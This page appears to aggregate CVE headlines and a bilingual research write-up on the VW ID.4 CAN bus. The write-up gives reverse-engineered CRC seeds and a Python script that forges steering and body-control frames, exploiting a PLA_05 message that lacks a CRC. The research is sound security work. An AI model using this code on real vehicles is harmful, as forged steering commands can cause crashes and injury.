Aggregator
CVE-2014-1346 | Apple Safari up to 7.0.3 WebKit input validation (Nessus ID 74139 / ID 122094)
CVE-2014-1343 | Apple Safari up to 7.0.3 WebKit memory corruption (Nessus ID 74139 / ID 122094)
CVE-2015-0816 | Mozilla Firefox/Thunderbird resource:/ access control (MFSA 2015-33 / EDB-37958)
VW ID.4 ICAS1 Vehicle Control Analysis
In 2021, while working at 360, I built a test bench for the VW ID.4. I was close to getting significant results—I had internal ODIS access and root privileges on ICAS3—but I was abruptly reassigned to build a demo vehicle during a business trip, which disrupted my follow-up plans. During that period, a combination of professional obligations and personal challenges forced me to pause the research.
You could call this a “regret project”—an unfinished endeavor I wish I had completed. By coincidence, I revisited the vehicle control logic of the ID.4’s ICAS1 this past May. Another such project is CAN-Pick NG, which I partially wrote before shelving. I am unsure if I will be able to finish it in 2025.
The ID.4 is based on Volkswagen’s MEB platform. Its EE (Electrical/Electronic) architecture features two primary domain controllers: ICAS1 and ICAS3. ICAS1 (J533) is responsible for body control.
The figure below shows the location of J533 at position 13. By mounting a drive-by-wire module here, you can monitor and control body functions.
In-Vehicle ECU Topology- Classic CAN: 500 kbps
- CAN-FD: Arbitration phase 500 kbps, Data phase 2 Mbps. (For CAN-FD analysis, ZLG devices are highly recommended).
Analyzing the ELSA wiring diagrams and internal VW training materials revealed inconsistent bus naming. Reorganizing this information is necessary to derive the correct CAN topology.
The J533 gateway manages a total of 9 CAN buses and 4 LIN buses (LIN is not utilized in this analysis). The key ECUs are as follows:
- Running-Gear CAN (CAN-FD)
- J104 - ABS
- J500 - EPS (Electric Power Steering control unit)
- NX6 - Brake Controller (Brake Booster)
- Powertrain CAN (CAN-FD)
- J623 - Engine/Motor Control Module
- J841/J944 - Electric Drive Unit
- J234 - Airbag (Do not fuzz this; it is dangerous)
- Driver Assistance CAN (CAN-FAS) (CAN-FD)
- J428 - Distance Control Unit
- J446 - Parking Radar Control Unit
- J769/J770 - Lane Change Assist Control Units
- J928 - Surround-View Camera Control Unit
- Convenience CAN (Classic)
- J527 - Steering Column Electronics Control Module (Shift-by-wire module)
- J605 - Tailgate Control Unit
- J764 - Steering Column Lock
- …and other body controls
- CAN-EV (CAN-FD)
- J979 - Heater and Air Conditioning Control Module
The following table details the T40a connector pinout.
Bus Security Strategy Gateway IsolationMultifunction steering wheel control signals originate on the Convenience CAN, but ECUs on the Chassis CAN can also observe them. However, the J533 gateway blocks any steering wheel control signals originating from the Chassis CAN, preventing them from reaching their target ECUs.
CRC CheckObserving the CAN bus traffic reveals a pattern in most messages: the first byte appears random, while the second byte increments regularly. The first byte is the CRC (Cyclic Redundancy Check), and the second byte is a counter.
CRC SeedsReference: OpenDBC github /opendbc/can/common.cc volkswagen_mqb_checksum
While checksum seeds for the VW MQB platform are available, the ID.4 introduces many new CRC seeds. I reverse-engineered them and listed them below.
Most control signals include both a CRC and a counter. ECUs typically skip CRC validation for non-critical functions (e.g., sunroof, windows, horn) but enforce it for safety-critical functions such as EPS, tailgate operation, and wipers.
Signal CAN ID CRC Seed AAA_01 0x12DD5502 0x62,0x14,0x7c,0xa1,0x49,0x95,0x43,0x04,0x78,0x46,0x74,0x19,0x39,0x17,0x9f,0x1c ACC_18 0x14D 0x1a,0x65,0x81,0x96,0xc0,0xdf,0x11,0x92,0xd3,0x61,0xc6,0x95,0x8c,0x29,0x21,0xb5 Airbag_01 0x040 0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40 Airbag_02 0x520 0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44 APS_Master 0x380 0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13 AWV_03 0x0DB 0x09,0xfa,0xca,0x8e,0x62,0xd5,0xd1,0xf0,0x31,0xa0,0xaf,0xda,0x4d,0x1a,0x0a,0x97 BEM_06 0x48B 0x54,0xaf,0x8a,0xfb,0x0d,0x87,0x6a,0x0f,0x47,0x78,0x31,0x4f,0x35,0x28,0x82,0x6d Blinkmodi_02 0x366 0xa9,0xbd,0xfb,0x3c,0x95,0x0f,0x75,0x3a,0x4f,0x19,0x59,0x6d,0xb2,0xe9,0xd1,0x97 EA_01 0x1A4 0x69,0xbb,0x54,0xe6,0x4e,0x46,0x8d,0x7b,0xea,0x87,0xe9,0xb3,0x63,0xce,0xf8,0xbf EA_02 0x1F0 0x2f,0x3c,0x22,0x60,0x18,0xeb,0x63,0x76,0xc5,0x91,0x0f,0x27,0x34,0x04,0x7f,0x02 ELV_01 0x656 0xab,0x2f,0xd3,0x39,0x6f,0x37,0xfa,0x59,0xa4,0x70,0xce,0x11,0x54,0x82,0x62,0x56 EM1_01 0x0C0 0x2f,0x44,0x72,0xd3,0x07,0xf2,0x39,0x09,0x8d,0x6f,0x57,0x20,0x37,0xf9,0x9b,0xfa EML_02 0x1A555541 0x3e,0xb4,0x25,0xc1,0x31,0x1f,0xf1,0xd7,0xb1,0xbe,0xcc,0xe0,0x0f,0x46,0x51,0xb2 EML_06 0x20A 0x9d,0xe8,0x36,0xa1,0xca,0x3b,0x1d,0x33,0xe0,0xd5,0xbb,0x5f,0xae,0x3c,0x31,0x9f ESC_50 0x102 0xd7,0x12,0x85,0x7e,0x0b,0x34,0xfa,0x16,0x7a,0x25,0x2d,0x8f,0x04,0x8e,0x5d,0x35 ESC_51 0x0FC 0x77,0x5c,0xa0,0x89,0x4b,0x7c,0xbb,0xd6,0x1f,0x6c,0x4f,0xf6,0x20,0x2b,0x43,0xdd ESP_10 0x116 0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac ESP_20 0x65D 0xac,0xb3,0xab,0xeb,0x7a,0xe1,0x3b,0xf7,0x73,0xba,0x7c,0x9e,0x06,0x5f,0x02,0xd9 ESP_21 0x0FD 0xb4,0xef,0xf8,0x49,0x1e,0xe5,0xc2,0xc0,0x97,0x19,0x3c,0xc9,0xf1,0x98,0xd6,0x61 ESP_24 0x31B 0x67,0x8a,0xae,0x22,0x4d,0xd0,0x51,0x80,0x5c,0xb9,0xce,0x1e,0xdf,0x02,0x2d,0xd4 Getriebe_11 0x0AD 0x3f,0x69,0x39,0xdc,0x94,0xf9,0x14,0x64,0xd8,0x6a,0x34,0xce,0xa2,0x55,0xb5,0x2c GRA_ACC_01 0x12B 0x6a,0x38,0xb4,0x27,0x22,0xef,0xe1,0xbb,0xf8,0x80,0x84,0x49,0xc7,0x9e,0x1e,0x2b HCA_01 0x126 0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda HVL_01 0x12DD553D 0x1d,0x82,0x7b,0x79,0xa5,0xee,0x3a,0xb9,0xb7,0xf9,0xe4,0x67,0x7f,0x97,0x11,0xad IPA_01 0x138 0x77,0x4e,0x14,0x87,0xf2,0xf8,0xb2,0x61,0xf6,0xa4,0x52,0x94,0xd4,0x81,0x2a,0xb1 IPA_02 0x16A9545F 0xc6,0x7f,0x85,0xb6,0xe6,0xae,0xf8,0x26,0xb0,0x8c,0x19,0x10,0x5b,0x33,0x64,0x6c Klemmen_Status_01 0x3C0 0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3 LH_EPS_02 0x11D 0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c LH_EPS_03 0x09F 0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5 Licht_Anf_01 0x3D5 0xc5,0x39,0xc7,0xf9,0x92,0xd8,0x24,0xce,0xf1,0xb5,0x7a,0xc4,0xbc,0x60,0xe3,0xd1 LWI_01 0x086 0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86 Motor_14 0x3BE 0x1f,0x28,0xc6,0x85,0xe6,0xf8,0xb0,0x19,0x5b,0x64,0x35,0x21,0xe4,0xf7,0x9c,0x24 Motor_51 0x10B 0x77,0x5c,0xa0,0x89,0x4b,0x7c,0xbb,0xd6,0x1f,0x6c,0x4f,0xf6,0x20,0x2b,0x43,0xdd Motor_54 0x14C 0x16,0x35,0x59,0x15,0x9a,0x2a,0x97,0xb8,0x0e,0x4e,0x30,0xcc,0xb3,0x07,0x01,0xad Motor_Code_01 0x641 0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47 Parken_01 0x206 0x09,0xfa,0xca,0x8e,0x62,0xd5,0xd1,0xf0,0x31,0xa0,0xaf,0xda,0x4d,0x1a,0x0a,0x97 PLA_04 0x407 0xef,0x60,0x04,0xa8,0x0c,0x1c,0xda,0x07,0x36,0xd7,0x28,0x92,0xa9,0x88,0x2c,0x4a QFK_01 0x13D 0x20,0xca,0x68,0xd5,0x1b,0x31,0xe2,0xda,0x08,0x0a,0xd4,0xde,0x9c,0xe4,0x35,0x5b RCTA_01 0x2B7 0x5e,0xc7,0x04,0x11,0x4d,0x27,0x0d,0x31,0x91,0xb8,0x62,0x76,0x64,0x09,0xeb,0xec SAL_01 0x12DD54C9 0xde,0xa9,0x83,0x0b,0x0c,0x64,0x79,0x44,0x0f,0xf6,0xc6,0xc7,0x05,0x45,0xb7,0x59 SAM_01 0x205 0x19,0x36,0xd4,0x1e,0x80,0x22,0xf4,0xb8,0xad,0x41,0x0b,0x3f,0x87,0x42,0x25,0x40 SMLS_01 0x3D4 0xc3,0x79,0xbf,0xdb,0xe9,0x11,0x46,0x86,0x69,0xb6,0x9b,0x29,0x15,0x9c,0x45,0x0d TA_01 0x26B 0xce,0xcc,0xbd,0x69,0xa1,0x3c,0x18,0x76,0x0f,0x04,0xf2,0x3a,0x93,0x24,0x19,0x51 TSG_FT_02 0x3E5 0xc4,0x6a,0x69,0x30,0xcf,0x61,0x58,0x51,0x1b,0x86,0x99,0xd3,0xf6,0x1d,0x9a,0x37 VMM_01 0x105 0xde,0x0e,0xa7,0x1d,0xc3,0x83,0xbd,0x82,0x8c,0xa2,0x0c,0x7b,0x4d,0x3c,0x58,0x79 VMM_02 0x139 0xed,0x03,0x1c,0x13,0xc6,0x23,0x78,0x7a,0x8b,0x40,0x14,0x51,0xbf,0x68,0x32,0xba CRC Algorithm MEB_Kennungsfolge = { # LWI_01 Steering Angle 0x86: [0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86], # LH_EPS_03 Electric Power Steering 0x9F: [0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5], # HCA_01 Heading Control Assist 0x126: [0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA], # GRA_ACC_01 Steering wheel controls for ACC 0x12B: [0x6A, 0x38, 0xB4, 0x27, 0x22, 0xEF, 0xE1, 0xBB, 0xF8, 0x80, 0x84, 0x49, 0xC7, 0x9E, 0x1E, 0x2B] } def gen_crc_lookup_table_8(poly): crc_lut = [0] * 256 for i in range(256): crc = i for j in range(8): if crc & 0x80: crc = (crc << 1) ^ poly else: crc <<= 1 crc_lut[i] = crc & 0xFF return crc_lut def volkswagen_mqb_checksum(address, data): global crc8_lut_8h2f crc = 0xFF # CRC8 8H2F/AUTOSAR for i in range(1, len(data)): crc = crc ^ data[i] # print(hex(crc), hex(i)) crc = crc8_lut_8h2f[crc] counter = data[1] & 0x0F if address in MEB_Kennungsfolge: crc ^= MEB_Kennungsfolge[address][counter] else: # No validation required crc ^= [0x00] * 16 # Return all 0s by default crc = crc8_lut_8h2f[crc] # Standard CRC8 8H2F/AUTOSAR final XOR return crc ^ 0xFF can_id = 0x126 data = bytearray(bytes(8)) crc8_lut_8h2f = gen_crc_lookup_table_8(0x2f) crc = volkswagen_mqb_checksum(can_id, data) data[0] = crc CAN SignalsThe Convenience CAN carries the signal traffic listed below. It allows for state monitoring and control of most body functions, including HVAC, front/rear lights, horn, wipers, windows, door locks, and various vehicle status updates.
0x12B GRA_ACC_01 Adaptive Cruise Control (GRA/ACC) 0x1F0 EA_02 Emergency Assist 0x205 SAM_01 Switches and Execution Module 0x2B7 RCTA_01 Rear Cross Traffic Alert 0x31B ESP_24 0x366 Blinkmodi_02 Blinking Mode (Turn Signals) 0x397 LDW_02 Lane Departure Warning System 0x3BE Motor_14 Motor Control 0x3C0 Klemmen_Status_01 Terminal Status (Clamp Status) 0x3CE TSG_HFS_01 Rear Door Window Function System (Left?) 0x3CF TSG_HBFS_01 Rear Door Window Function System (Right?) 0x3D0 TSG_FT_01 Front Door Function System 0x3D4 SMLS_01 Steering Column Switch Module 0x3D5 Licht_Anf_01 Light Request 0x3D6 Licht_hinten_01 Rear Light Status 0x3DC Gateway_73 Gateway Info (System alerts, safety warnings, fault diagnosis, signal updates) 0x48B BEM_06 Low Voltage Energy Management 0x520 Airbag_02 Airbag 2 0x551 WFS_01 Immobilizer 0x582 HDSG_01 Trunk Management Status 0x583 ZV_02 Central Locking System 0x585 Systeminfo_01 Diagnostic and Production Mode Settings 0x592 Kessy_04 Smart Key System (Kessy) / Remote Parking Status/Control 0x5A0 RLS_01 Light and Rain Sensor 0x5A7 TM_01 Telematics 0x5F0 Dimmung_01 Dimming 0x5F4 Innenlicht_11 Interior Lighting 0x641 Motor_Code_01 Motor Coding 0x643 Einheiten_01 Unit Settings 0x656 ELV_01 Electronic Steering Column Lock 0x658 Licht_vorne_01 Front Light Status 0x65D ESP_20 0x668 Klima_12 Air Conditioning System 0x670 Motor_18 0x6AE Spiegel_01 Mirrors 0x6AF Rear_View_01 Rear View Camera 0x6B2 Diagnose_01 0x6B4 VIN_01 0x12DD54C9 SAL_01 Lighting Module Other SignalsWhile the DBC has been analyzed, it is not currently published.
0x184 1. Lock Vehicle 1. Byte 2: Mirror Open (0x20 Open) 2. Byte 3: Mirror Close (0x40 Close) 2. Windows 1. Byte 6: Window Control - 04 Front Left Down, 02 Front Left Up, 40 Rear Left Down, 08 Front Right Up, 10 Front Right Down 2. Byte 7: 01 Rear Right Down 0x185 1. Window Control (10, 20 Up; 40, 80 Down) 1. Byte 1: Front Row 2. Byte 2: Rear Row 0x598 1. Sunroof Control 1. Byte 3: 0x20 None, 0x21 Tap, 0x22 Slide, 0x25 Long Press 2. Byte 7: 04 Close Once, 08 Close Cont., 0C Open Once, 10 Open Cont., 14/1C Others Steering ControlThe vehicle must be in Gear D/B or R. The following five signals can be used to control the steering wheel:
- LWI_01: Steering Angle Sensor
- LH_EPS_03: Electric Power Steering (Steering Assist)
- HCA_01: Heading Control Assist
- GRA_ACC_01: Adaptive Cruise Control
- PLA_05: Park Lane Assist
Notes:
- Combining signals 0x86, 0x9f, 0x126, 0x12b, and 0x302 on the CAN-FAS bus allows for parking steering actuation.
- Combining signals 0x86, 0x9f, and 0x302 on the Gear-Running CAN can also actuate the steering wheel.
- Both 0x9f (LH_EPS_03) and 0x302 (PLA_05) can directly control the steering wheel.
- Since 0x302 (PLA_05) lacks a CRC check, it offers a simpler method for steering control compared to 0x9f.
This steering control demo only makes the steering wheel move. To implement true remote driving, you need a solid understanding of vehicle dynamics and must design a proper control algorithm.
import os import can import time can0 = can.interface.Bus(channel = 'can0', bustype = 'socketcan', fd=True, bitrate=500000) # msg = can.Message(is_extended_id=False, arbitration_id=0x123, data=[0, 1, 2, 3, 4, 5, 6, 7]) # can0.send(msg) MEB_Kennungsfolge = { # LWI_01 Steering Angle 0x86: [0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86], # LH_EPS_03 Electric Power Steering 0x9F: [0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5], # HCA_01 Heading Control Assist 0x126: [0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA], # GRA_ACC_01 Steering wheel controls for ACC 0x12B: [0x6A, 0x38, 0xB4, 0x27, 0x22, 0xEF, 0xE1, 0xBB, 0xF8, 0x80, 0x84, 0x49, 0xC7, 0x9E, 0x1E, 0x2B] } def volkswagen_mqb_checksum(address, data): global crc8_lut_8h2f crc = 0xFF # CRC8 8H2F/AUTOSAR for i in range(1, len(data)): crc = crc ^ data[i] # print(hex(crc), hex(i)) crc = crc8_lut_8h2f[crc] counter = data[1] & 0x0F if address in MEB_Kennungsfolge: crc ^= MEB_Kennungsfolge[address][counter] else: print("Attempt to CRC check undefined Volkswagen message 0x%02X" % address) crc ^= [0x00] * 16 # Return all 0s by default crc = crc8_lut_8h2f[crc] # Standard CRC8 8H2F/AUTOSAR final XOR return crc ^ 0xFF def gen_crc_lookup_table_8(poly): crc_lut = [0] * 256 for i in range(256): crc = i for j in range(8): if crc & 0x80: crc = (crc << 1) ^ poly else: crc <<= 1 crc_lut[i] = crc & 0xFF return crc_lut def meb_can_send(can_id, interval, data): global hca_01_counter data[1] = data[1] | hca_01_counter crc = volkswagen_mqb_checksum(can_id, data) data[0] = crc hca_01_counter += 1 for j in data: print(hex(j), end=", ") time.sleep(interval) msg = can.Message(is_extended_id=False, arbitration_id=can_id, data=data, is_fd=True) can0.send(msg) def can_send(can_id, interval, data): time.sleep(interval) msg = can.Message(is_extended_id=False, arbitration_id=can_id, data=data, is_fd=True) can0.send(msg) crc8_lut_8h2f = gen_crc_lookup_table_8(0x2f) def set_value(data, value, start_pos, value_length): end_pos = start_pos + value_length for bit_index in range(start_pos, end_pos): byte_index = bit_index // 8 bit_offset = bit_index % 8 bit_value = (value >> (bit_index - start_pos)) & 1 # print("\n") # print("index", bit_index, start_pos, end_pos, "byte_index:", byte_index, "bit_offset:", bit_offset, "v:", bit_value) if bit_value: data[byte_index] |= 1 << bit_offset else: data[byte_index] &= ~(1 << bit_offset) # for i in data: # print(bin(i), end=",") return data def set_bit(b, bit, bit_index): if bit_index < 0 or bit_index > 7: raise ValueError("bit_index must be between 0 and 7") mask = 1 << bit_index flipped_byte = b ^ mask return flipped_byte def create_steering_control(apply_steer, lkas_enabled): data = bytearray(bytes(8)) if lkas_enabled: # HCA_01_Sendestatus data = set_value(data, 5, 30, 1) # HCA_01_Status_HCA data = set_value(data, 1, 32, 4) else: # HCA_01_Sendestatus data = set_value(data, 3, 30, 1) # HCA_01_Status_HCA data = set_value(data, 0, 32, 4) # HCA_01_LM_Offset print("create_steering_control", apply_steer) data = set_value(data, abs(apply_steer), 16, 9) # HCA_01_LM_OffSign v = 1 if apply_steer < 0 else 0 data = set_value(data, v, 31, 1) # HCA_01_Vib_Freq data = set_value(data, 3, 12, 4) # HCA_01_Vib_Amp data = set_value(data, 10, 36, 4) return data def create_pla_control(sendestatus, positive, degree): data = bytearray(bytes(24)) data[1] = 0x40 # PLA_QFK_Spuerb data[2] = 0xFA # PLA_QFK_KruemmSoll data = set_value(data, degree, 32, 15) # PLA_QFK_KruemmSoll_VZ if positive: data = set_value(data, 1, 47, 1) else: data = set_value(data, 0, 47, 1) # PLA_05_Sendestatus if sendestatus: data = set_value(data, 1, 74, 1) else: data = set_value(data, 0, 74, 1) return data hca_01_counter = 0 degree = 0 for i in range(20): # data = create_steering_control(10 * i, 1) # meb_can_send(0x126, 0.1, data) degree += 0x10 data = create_pla_control(1, 1, degree) can_send(0x302, 0.1, data) Notes- Ensure the CAN bus enters sleep mode before leaving the vehicle; otherwise, it may drain the battery considerably.
- Do not fuzz the Powertrain and Running Gear CAN buses. This poses a direct risk of physical injury and may trigger abnormal ECU behavior or introduce hidden hazards (e.g., turn signal failure, mirrors not unfolding).
VW ID.4 ICAS1 车控分析
2021年在360搭了一套ID.4台架环境,本来快要出成果了(拿到了ODIS内网权限,还有ICAS3的root),被安排出差去搭建展示车,后续工作计划被打乱。这期间不管是工作还是生活都遇到了许多糟心事,便停止了研究。
算是一个怨念项目吧,今年5月我在机缘巧合下又研究了ID.4的ICAS1的车控逻辑,还有一个怨念项目是CAN-Pick NG,写了一半又搁置了,不知道2025可不可以完成。
ID.4 是大众MEB平台,EE架构总共有两个域控制器,ICAS1, ICAS3。其中ICAS1(J533)与车身控制有关。 下图是J533的位置,位于序号13。将线控模块装载到此处,可以实现车身监测和控制。
车内ECU拓扑Classic CAN: 500k
CAN-FD:仲裁域500k, 数据域2M。若要分析CAN-FD,ZLG设备最合适。
通过分析 ELSA电路图 和 大众内部培训资料,发现总线命名混乱,必须重新整理才能得到正确的CAN拓扑图。
J533总共有9路CAN,4路LIN(暂不需要),关键ECU如下。
- Running-Gear CAN (CAN-FD)
- J104 - ABS
- J500 - EPS,转向助力控制单元
- NX6 - 制动控制器 (Brake Booster)
- Powertrain CAN (CAN-FD)
- J623 - 电机控制模块 Engine/Motor Control Module
- J841/J944 - 电驱单元
- J234 - 气囊 (不能在这里Fuzzing,危险)
- Driver Assistance CAN,CAN-FAS (CAN-FD)
- J428 - 车距调节控制单元
- J446 - 泊车雷达控制单元
- J769/J770 - 行驶换道辅助系统控制单元
- J928 - 全景摄像头控制单元
- Convenience CAN (Classic)
- J527 - 电控换档模块 (Steering Column Electronics Control Module)
- J605 - 行李箱盖控制单元
- J764 - 转向柱锁
- …其他车身控制
- CAN-EV (CAN-FD)
- J979 - 加热与空调控制模块 (Heater and Air Conditioning Control Module)
T40a 连接器和表格对应如下。
总线安全策略 网关隔离多功能方向盘控制信号,由Convenience CAN接收,但是底盘CAN的ECU也能收到。底盘CAN发出的多功能方向盘控制信号,不会被J533转发到目标ECU。
CRC 校验分析CAN总线变化,可以看到大部份报文的变化规律,第一字节随机,第二字节有规律递增。第一字节是CRC,第二字节是计数器。
CRC 初始值参考OpenDBC github /opendbc/can/common.cc volkswagen_mqb_checksum
可以获取VM MQB平台的 Checksum 初始值,但是ID.4有很多新的CRC初始值,我通过逆向分析并记录在下面了。
大部份控制信号有CRC和计数器,ECU不会校验某些不重要功能的CRC,比如天窗,车窗,鸣笛。但是会校验转向助力,行李箱盖开启,雨刮等影响驾驶的功能。
Signal CAN ID CRC Seed AAA_01 0x12DD5502 0x62,0x14,0x7c,0xa1,0x49,0x95,0x43,0x04,0x78,0x46,0x74,0x19,0x39,0x17,0x9f,0x1c ACC_18 0x14D 0x1a,0x65,0x81,0x96,0xc0,0xdf,0x11,0x92,0xd3,0x61,0xc6,0x95,0x8c,0x29,0x21,0xb5 Airbag_01 0x040 0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40 Airbag_02 0x520 0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44 APS_Master 0x380 0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13 AWV_03 0x0DB 0x09,0xfa,0xca,0x8e,0x62,0xd5,0xd1,0xf0,0x31,0xa0,0xaf,0xda,0x4d,0x1a,0x0a,0x97 BEM_06 0x48B 0x54,0xaf,0x8a,0xfb,0x0d,0x87,0x6a,0x0f,0x47,0x78,0x31,0x4f,0x35,0x28,0x82,0x6d Blinkmodi_02 0x366 0xa9,0xbd,0xfb,0x3c,0x95,0x0f,0x75,0x3a,0x4f,0x19,0x59,0x6d,0xb2,0xe9,0xd1,0x97 EA_01 0x1A4 0x69,0xbb,0x54,0xe6,0x4e,0x46,0x8d,0x7b,0xea,0x87,0xe9,0xb3,0x63,0xce,0xf8,0xbf EA_02 0x1F0 0x2f,0x3c,0x22,0x60,0x18,0xeb,0x63,0x76,0xc5,0x91,0x0f,0x27,0x34,0x04,0x7f,0x02 ELV_01 0x656 0xab,0x2f,0xd3,0x39,0x6f,0x37,0xfa,0x59,0xa4,0x70,0xce,0x11,0x54,0x82,0x62,0x56 EM1_01 0x0C0 0x2f,0x44,0x72,0xd3,0x07,0xf2,0x39,0x09,0x8d,0x6f,0x57,0x20,0x37,0xf9,0x9b,0xfa EML_02 0x1A555541 0x3e,0xb4,0x25,0xc1,0x31,0x1f,0xf1,0xd7,0xb1,0xbe,0xcc,0xe0,0x0f,0x46,0x51,0xb2 EML_06 0x20A 0x9d,0xe8,0x36,0xa1,0xca,0x3b,0x1d,0x33,0xe0,0xd5,0xbb,0x5f,0xae,0x3c,0x31,0x9f ESC_50 0x102 0xd7,0x12,0x85,0x7e,0x0b,0x34,0xfa,0x16,0x7a,0x25,0x2d,0x8f,0x04,0x8e,0x5d,0x35 ESC_51 0x0FC 0x77,0x5c,0xa0,0x89,0x4b,0x7c,0xbb,0xd6,0x1f,0x6c,0x4f,0xf6,0x20,0x2b,0x43,0xdd ESP_10 0x116 0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac ESP_20 0x65D 0xac,0xb3,0xab,0xeb,0x7a,0xe1,0x3b,0xf7,0x73,0xba,0x7c,0x9e,0x06,0x5f,0x02,0xd9 ESP_21 0x0FD 0xb4,0xef,0xf8,0x49,0x1e,0xe5,0xc2,0xc0,0x97,0x19,0x3c,0xc9,0xf1,0x98,0xd6,0x61 ESP_24 0x31B 0x67,0x8a,0xae,0x22,0x4d,0xd0,0x51,0x80,0x5c,0xb9,0xce,0x1e,0xdf,0x02,0x2d,0xd4 Getriebe_11 0x0AD 0x3f,0x69,0x39,0xdc,0x94,0xf9,0x14,0x64,0xd8,0x6a,0x34,0xce,0xa2,0x55,0xb5,0x2c GRA_ACC_01 0x12B 0x6a,0x38,0xb4,0x27,0x22,0xef,0xe1,0xbb,0xf8,0x80,0x84,0x49,0xc7,0x9e,0x1e,0x2b HCA_01 0x126 0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda HVL_01 0x12DD553D 0x1d,0x82,0x7b,0x79,0xa5,0xee,0x3a,0xb9,0xb7,0xf9,0xe4,0x67,0x7f,0x97,0x11,0xad IPA_01 0x138 0x77,0x4e,0x14,0x87,0xf2,0xf8,0xb2,0x61,0xf6,0xa4,0x52,0x94,0xd4,0x81,0x2a,0xb1 IPA_02 0x16A9545F 0xc6,0x7f,0x85,0xb6,0xe6,0xae,0xf8,0x26,0xb0,0x8c,0x19,0x10,0x5b,0x33,0x64,0x6c Klemmen_Status_01 0x3C0 0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3 LH_EPS_02 0x11D 0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c LH_EPS_03 0x09F 0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5 Licht_Anf_01 0x3D5 0xc5,0x39,0xc7,0xf9,0x92,0xd8,0x24,0xce,0xf1,0xb5,0x7a,0xc4,0xbc,0x60,0xe3,0xd1 LWI_01 0x086 0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86 Motor_14 0x3BE 0x1f,0x28,0xc6,0x85,0xe6,0xf8,0xb0,0x19,0x5b,0x64,0x35,0x21,0xe4,0xf7,0x9c,0x24 Motor_51 0x10B 0x77,0x5c,0xa0,0x89,0x4b,0x7c,0xbb,0xd6,0x1f,0x6c,0x4f,0xf6,0x20,0x2b,0x43,0xdd Motor_54 0x14C 0x16,0x35,0x59,0x15,0x9a,0x2a,0x97,0xb8,0x0e,0x4e,0x30,0xcc,0xb3,0x07,0x01,0xad Motor_Code_01 0x641 0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47 Parken_01 0x206 0x09,0xfa,0xca,0x8e,0x62,0xd5,0xd1,0xf0,0x31,0xa0,0xaf,0xda,0x4d,0x1a,0x0a,0x97 PLA_04 0x407 0xef,0x60,0x04,0xa8,0x0c,0x1c,0xda,0x07,0x36,0xd7,0x28,0x92,0xa9,0x88,0x2c,0x4a QFK_01 0x13D 0x20,0xca,0x68,0xd5,0x1b,0x31,0xe2,0xda,0x08,0x0a,0xd4,0xde,0x9c,0xe4,0x35,0x5b RCTA_01 0x2B7 0x5e,0xc7,0x04,0x11,0x4d,0x27,0x0d,0x31,0x91,0xb8,0x62,0x76,0x64,0x09,0xeb,0xec SAL_01 0x12DD54C9 0xde,0xa9,0x83,0x0b,0x0c,0x64,0x79,0x44,0x0f,0xf6,0xc6,0xc7,0x05,0x45,0xb7,0x59 SAM_01 0x205 0x19,0x36,0xd4,0x1e,0x80,0x22,0xf4,0xb8,0xad,0x41,0x0b,0x3f,0x87,0x42,0x25,0x40 SMLS_01 0x3D4 